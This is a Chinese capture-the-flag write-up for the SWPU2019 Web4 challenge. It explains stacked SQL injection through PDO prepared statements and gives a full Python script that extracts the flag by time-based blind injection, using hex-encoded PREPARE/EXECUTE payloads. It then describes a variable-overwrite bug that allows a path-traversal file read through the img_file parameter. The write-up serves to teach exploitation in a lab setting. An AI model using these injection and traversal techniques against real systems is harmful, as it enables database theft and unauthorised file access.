PDO场景下的SQL注入探究
例题 [SWPU2019]Web4
参考 由于题目对username进行了严格的检测,所以无法使用单语句进行注入,但是注入点又存在,于是可以尝试进行堆叠注入。(很多师傅可能就因为不友好的回显卡在这里) 思路 我们但加' 报错,然后后面加# 正常了,然后我们再尝试了'; 回显也是正常的,若无法多语句执行,返回页面按理说应该是500,这个正常说明开启了堆叠注入,所以可以联想到想到预处理
import requests,time
import json
def str_to_hex(strings):
by = bytes(strings,'UTF-8')
hexstring = by.hex()
return hexstring
url="http://3e0a94e7-6df9-4706-8ef6-c682325ec62a.node4.buuoj.cn:81/index.php?r=Login/Login"
flag=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while low<high:
payload="select if(ascii(substr((select flag from flag),{},1))>{},sleep(2),0)".format(i,mid)
zpayload="1';set @a=0x{};prepare b from @a;execute b;".format(str_to_hex(payload))
data={
'username':zpayload,
'password':'111'
}
datas = json.dumps(data)
time1=time.time()
r=requests.post(url,data=datas)
time2=time.time()
times=time2-time1
if times>2:
low=mid+1
else:
high=mid
mid=(low+high)//2
print(low,mid,high,times)
flag+=chr(mid)
print(flag)
if mid==32:
break
json.dumps()
得到glzjin_wants_a_girl_friend.zip
看index.php
\Common\fun.php 中关于r参数,路由控制到控制器的关系
\Controller\BaseController.php 有变量覆盖函数 \Controller\UserController.php 续成了BaseController且调用了loadView方法,该方法中调用userIndex 而\View\userIndex.php中又存在读文件的操作
?r=User/Index&img_file=/../flag.php
思考 为什么覆盖img_dir变量不行 这个地方是先覆盖再包含,然后我就想如果当前php和包含的php都有相同的变量,那么变量的值该为啥。。。。 我的理解include就是再当前行把包含的文件加进来有先后关系,也就是说,extract把img_dir覆盖了,到include包含的代码中,有定义img_dir的句子,这个时候img_dir会再次覆盖
|